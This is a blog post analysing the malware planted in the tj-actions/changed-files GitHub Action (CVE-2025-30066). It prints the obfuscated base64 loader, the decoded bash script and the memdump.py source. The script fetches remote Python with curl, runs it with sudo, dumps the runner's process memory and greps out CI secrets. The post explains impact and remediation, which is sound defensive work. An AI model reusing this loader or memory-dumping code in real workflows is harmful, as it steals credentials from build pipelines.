Published on by 0np, 1058 words
Last Saturday a new supply-chain attack in tj-actions/changed-files was published by StepSecurity.io. The vulnerability is tracked as CVE-2025-30066.
Let's look at the specific compromise. In the commit 0e58ed8 we can see that the file contains a suspicious base64 encoded payload:
async function updateFeatures(token) {
const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], { ignoreReturnCode: true,
silent: true
});
core.info(stdout);
}
This function decodes a base64 string, writes it to /tmp/run.sh
and then executes it with bash at the time the tj-actions/changed-files is run in your GitHub Actions workflow.
We can use CyberChef to further analyze this code. It's a surprisingly handy tool to work with all kinds of strings and data, right in your browser and your browser alone without submitting it to a third party. I've used this simple recipie to take a deeper look. This leads us to:
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
Here's what it does step-by-step:
$OSTYPE
is one of the available environment variables in bash.\0
.Now the heart of the payload lies within this file memdump.py
. At the time of writing this (17th March 2025), it is no longer available and returns a HTTP 404 error. This means that even if you didn't had a chance to update this dependency, it can no longer cause damage and the exploit is defused.
Luckily the file in question can still be viewed using the wayback machine from archive.org. Let's dive in! I've annotated some lines with a comment for easier reference:
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
# (1)
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
# (2)
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
# (3)
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
# (4)
chunk = mem_f.read(end - start) # read region contents
# (5)
sys.stdout.buffer.write(chunk)
except OSError:
continue
Here is the rough sketch:
/proc
interface on Linux, it will open the currently mapped memory regions of this process. To be precise, /proc/$PID/maps
contains "memory maps to executables and library files" and /proc/$PID/mem
contains the memory content itself.The good news is that this exploit only leaks the credentials to stdout and is not exfiltrating them to a third-party server. The bad news is that GitHub Action workflow logs are publicly visible for public repositories, so the damage is done.
To identify what repositories are are affected in your environment, the original post by Semgrep offers some good guidance. As a starting point they suggest:
"The simplest way to find this is to grep for tj-actions in your codebase"
For each repository you can now triage the impact of this attack. What's the code used for? Do you find leaked credentials in the workflow logs? Do they allow lateral movement and further compromise? The incident writeup by StepSecurity provides more in-depth recommendations. Suffice to say that you definitely need to rotate your leaked credentials.